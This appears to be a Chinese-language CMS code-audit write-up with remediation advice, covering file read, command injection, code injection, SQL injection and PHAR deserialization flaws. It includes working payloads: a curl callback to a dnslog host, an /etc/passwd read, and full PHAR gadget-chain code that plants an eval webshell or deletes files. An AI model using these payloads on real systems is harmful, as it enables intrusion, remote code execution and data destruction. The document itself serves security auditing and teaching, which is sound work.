记一次对某CMS系统的代码审计
字数 1447 2025-08-23 18:31:09
CMS系统代码审计与漏洞分析教学文档
1. 文件读取漏洞分析
漏洞描述
该CMS系统存在一个任意文件读取漏洞,功能点是用于读取PDF文件并显示到网页的功能。
漏洞代码分析
// 读取pdf显示到网页,但没有对文件名和路径进行限制
$files = $this->str_replace_once(files); // 替换开头的/
漏洞利用方式
-
直接读取当前目录下的文件:
file=index.php -
尝试读取系统文件(受open_basedir限制):
file=//etc/passwd
修复建议
- 实现严格的白名单验证,只允许访问特定目录下的PDF文件
- 使用basename()函数防止目录遍历
- 检查文件扩展名确保只能是PDF
2. 命令注入漏洞分析
漏洞描述
系统使用LibreOffice命令行工具将PPT转换为PDF,未对用户输入进行过滤导致命令注入。
漏洞利用方式
使用管道符进行命令拼接执行:
file=||curl 9tkhrb.dnslog.cn||
修复建议
- 使用escapeshellarg()或escapeshellcmd()函数过滤输入
- 实现白名单验证文件名
- 考虑使用更安全的文件处理方式替代命令行工具
3. 后台代码注入漏洞分析
漏洞描述
保存网站设置功能将内容以序列化形式写入config/wzsz.php文件,可插入PHP代码。
漏洞利用方式
- 在设置内容中插入恶意PHP代码
- 访问config/wzsz.php即可执行代码
修复建议
- 禁止将用户输入直接写入PHP文件
- 使用JSON或其他安全格式存储配置
- 对写入内容进行严格过滤
4. 任意数据查询漏洞分析
漏洞描述
home控制器的cxxsjg函数接收参数bm(表名)和id进行查询,参数可控导致SQL注入。
漏洞利用方式
id=1&bm=users
修复建议
- 使用参数化查询或预处理语句
- 实现表名白名单机制
- 对数据库操作进行权限最小化设置
5. 文件上传结合PHAR反序列化漏洞
PHAR基础知识
PHAR(PHP Archive)是将多个PHP文件、资源打包成单独可执行文件的格式,类似于Java的JAR文件。
漏洞链分析
POC1: FileCookieJar链任意文件写入
-
漏洞点:save函数写入文件,文件名和内容可控
-
利用链:
- SetCookie类构造函数传入数组
- 使用array_replace函数替换默认数组字段
- 构造恶意cookie写入文件
-
恶意cookie构造:
new SetCookie([
'Name' => 'foo',
'Domain' => '<?php echo eval($_REQUEST[\'111a\']);?>',
'Value' => 'bar',
'Expires' => time()
]);
- 完整利用代码:
require 'vendor/autoload.php';
use GuzzleHttp\Cookie\FileCookieJar;
use GuzzleHttp\Cookie\SetCookie;
$obj = new FileCookieJar('111.php');
$obj->setCookie(new SetCookie([
'Name' => 'foo',
'Domain' => '<?php echo eval($_REQUEST[\'111a\']);?>',
'Value' => 'bar',
'Expires' => time()
]));
- PHAR打包:
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($obj);
$phar->stopBuffering();
rename('phar.phar', 'phar.jpg');
- 利用步骤:
- 通过系统自带的ueditor上传phar.jpg
- 通过任意文件读取漏洞触发phar反序列化
- 成功写入一句话木马
POC2: XMLWriter链任意文件删除
-
漏洞点:XMLWriter类的析构函数使用unlink删除文件
-
利用条件:PHP_OS != 'WINNT'(目标系统不是Windows)
-
利用代码:
namespace PhpOffice\Common;
class XMLWriter {
public function __construct(){
$this->tempFileName = "111.php";
}
}
$obj = new XMLWriter();
$phar = new \Phar('phar.phar');
$phar->startBuffering();
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER(); ?>');
$phar->addFromString('test.txt', 'test');
$phar->setMetadata($obj);
$phar->stopBuffering();
rename('phar.phar', 'phar.jpg');
修复建议
- 禁用phar://协议或限制其使用
- 对上传文件进行严格的内容检查,不仅是扩展名
- 实现文件上传的黑白名单机制
- 更新PHP版本,利用最新安全特性
6. 综合防御措施
-
输入验证:
- 所有用户输入都应视为不可信的
- 实现严格的白名单验证机制
-
输出编码:
- 对输出到HTML、SQL、命令行等不同上下文的数据进行适当编码
-
最小权限原则:
- 数据库用户只赋予必要权限
- 文件系统操作限制在必要目录
-
安全配置:
- 合理设置open_basedir
- 禁用危险函数(如exec、system等)
- 保持系统和组件更新
-
安全开发实践:
- 使用参数化查询
- 实现CSRF防护
- 对敏感操作进行二次验证
-
日志与监控:
- 记录所有可疑操作
- 设置异常行为警报
通过全面分析这些漏洞及其利用方式,开发人员和安全研究人员可以更好地理解常见的安全问题,并在开发和审计过程中采取适当的防护措施。